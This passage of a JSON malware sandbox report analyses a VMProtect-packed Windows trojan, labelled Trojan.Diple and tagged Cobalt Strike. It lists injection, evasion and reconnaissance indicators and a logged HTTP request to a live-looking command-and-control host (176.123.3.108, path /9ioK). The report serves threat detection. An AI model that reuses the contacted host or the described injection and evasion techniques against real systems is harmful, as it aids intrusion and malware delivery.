Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an writable section named \".data\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an writable section named \".bss\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an writable section named \".idata\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an writable section named \".CRT\"\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has an writable section named \".tls\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".vmp1\" is \"0x148200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".vmp0\" is \"0x155b00\" greater than 0x100000\n Virtual size of \".vmp1\" is \"0x148150\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" queries basic process information of the \"C:\\b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (UID: 7580)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" reads file \"\\device\\namedpipe\\msse-3589-server\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to detect virtual environment (API)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"HttpOpenRequestA\" (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"InternetOpenA\" (UID: 00000000-00007580)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"K HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp\")\n Found string \"GET /9ioK HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp\")\n Found string \"Host176.123.3.108GET /9ioK HTTP/1.14\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - High entropy file","description":"YARA signature to detect high entropy file process \"00000000-00007580\"\n YARA signature to detect high entropy file file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-605","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00007580\"\n YARA signature for RC4 encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – ROR algorithm","description":"YARA signature matched on R0R instruction used in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-209","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSSendMessageW\" (Indicator: \"WTSSendMessage\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExA\" in file \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00007580.00000000.178257.00409000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15\" has section name .vmp1 with entropy \"7.95098266296287\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-159-0041D321\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-165-0041D235\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-166-00420A1E\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-170-0041D1BA\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-196-00420A77\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007580-54165-676-0041D638","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.DLL at 00000000-00007580-54165-673-00420D31","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_EXE_Packed_VMProtect\" matched file \"sample.bin\" as \"Detects executables packed with VMProtect.\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.DLL at 00000000-00007580-54165-648-0041BF15","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module","description":"GetModuleFileNameA@KERNEL32.DLL at 00000000-00007580-54165-167-00423E32\n GetModuleFileNameA@KERNEL32.DLL at 00000000-00007580-54165-669-0042124B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-131","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"PE file is protected by VMProtect"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":78,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":17,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":8,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":13,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["apt17","axiom","barium","blackfly","cobaltstrike","commodity","criminal","deputydog","dogfish","group72","lead","ragebeast","rat","tailgater","tailgaterteam","targeted","wickedpanda","wickedspider","winntigroup","evasive","vobfus","targetedcrimeware"],"sample_flags":["Network Traffic","TOR analysis"],"sandbox_reports":[{"id":"68e3751115973bbad10e2f79","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["MDA"],"submit_name":"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","analysis_start_time":"2025-10-06T07:51:46+00:00","indicators_count":{"informative":87,"suspicious":32,"malicious":3},"tags":["Network Traffic"],"is_in_unified_schema":true},{"id":"5fdba5e930b02f7ff3672f63","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Diple","contacted_countries":["MDA"],"submit_name":"file","analysis_start_time":"2020-12-17T18:39:42+00:00","indicators_count":{"informative":10,"suspicious":20,"malicious":6},"tags":["Network Traffic","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"176.123.3.108","port":80,"protocol":"TCP","country":"Moldova Republic of","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}],"dns_resolutions":null,"http_requests":[{"host":"176.123.3.108","host_ip":"176.123.3.108:80","url":"/9ioK","method":"GET","header":"GET /9ioK HTTP/1.1\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)\nHost: 176.123.3.108\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}],"processes":[{"pid":4040,"ppid":0,"name":"file.exe","command_line":"","sha256":"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","normalized_path":"C:\\file.exe","uid":"00064276-00004040","icon":"$33"}],"all_imported_dlls":["msctf.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","msvcrt.dll","ws2_32.dll","wshqos.dll","dnsapi.dll","userenv.dll","KernelBase.dll","gdi32.dll","usp10.dll","oleaut32.dll","urlmon.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","kernel32.dll","lpk.dll","cryptsp.dll","RpcRtRemote.dll","ntdll.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","rsaenh.dll","wininet.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","secur32.dll","shell32.dll","webio.dll","winnsi.dll","dhcpcsvc6.dll","FWPUCLNT.DLL","api-ms-win-downlevel-shlwapi-l1-1-0.dll","shlwapi.dll","advapi32.dll","WSHTCPIP.DLL","imm32.dll","api-ms-win-downlevel-version-l1-1-0.dll","version.dll","cryptbase.dll","sechost.dll","wship6.dll","dhcpcsvc.dll","netprofm.dll","winhttp.dll","iertutil.dll","wtsapi32.dll","sspicli.dll","nlaapi.dll","normaliz.dll","IPHLPAPI.DLL","npmproxy.dll","rasadhlp.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","ole32.dll","clbcatq.dll","comctl32.dll","rpcrt4.dll","nsi.dll","mswsock.dll","api-ms-win-downlevel-user32-l1-1-0.dll","profapi.dll","user32.dll","SHCore.dll","kernel.appcore.dll","OnDemandConnRouteHelper.dll","wow64.dll","win32u.dll","apphelp.dll","gdi32full.dll","ucrtbase.dll","imagehlp.dll","msIso.dll","wow64cpu.dll","bcryptprimitives.dll","msvcp_win.dll","fltLib.dll","windows.storage.dll","combase.dll","VxSSL32.dll","powrprof.dll","wow64win.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"C:\\file.exe","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"path":"pipe\\MSSE-3589-server","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 